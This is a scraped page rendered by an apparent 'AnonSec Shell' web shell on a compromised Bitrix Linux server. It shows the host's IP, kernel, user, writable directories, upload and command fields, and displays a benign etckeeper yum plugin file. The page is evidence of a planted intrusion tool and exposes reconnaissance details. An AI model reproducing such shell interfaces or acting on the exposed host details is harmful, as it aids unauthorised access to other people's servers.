AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.227.13.206
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/yum-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /lib/yum-plugins/etckeeper.py
#
# 
# author: jtang@tchpc.tcd.ie
# 
# this plugin is based on the hello world example 
# from http://yum.baseurl.org/wiki/WritingYumPlugins
# 
# to install, copy this file to /usr/lib/yum-plugins/etckeeper.py
# and then create /etc/yum/pluginconf.d/etckeeper.conf with the contents
# below.
# 
#  /etc/yum/pluginconf.d/etckeeper.conf:
#   [main]
#   enabled=1
#

import os
from glob import fnmatch

import yum
from yum.plugins import PluginYumExit, TYPE_CORE

requires_api_version = '2.1'
plugin_type = (TYPE_CORE,)

def pretrans_hook(conduit):
    conduit.info(2, 'etckeeper: pre transaction commit')
    servicecmd = conduit.confString('main', 'servicecmd', '/usr/bin/etckeeper')
    command = '%s %s > /dev/null' % (servicecmd, " pre-install")
    ret = os.system(command)
    if ret != 0:
        raise PluginYumExit('etckeeper returned %d' % (ret >> 8))

def posttrans_hook(conduit):
    conduit.info(2, 'etckeeper: post transaction commit')
    if os.path.exists('/usr/bin/etckeeper'):
	    servicecmd = conduit.confString('main', 'servicecmd', '/usr/bin/etckeeper')
	    command = '%s %s > /dev/null' % (servicecmd, "post-install")
	    os.system(command)

Anon7 - 2022
AnonSec Team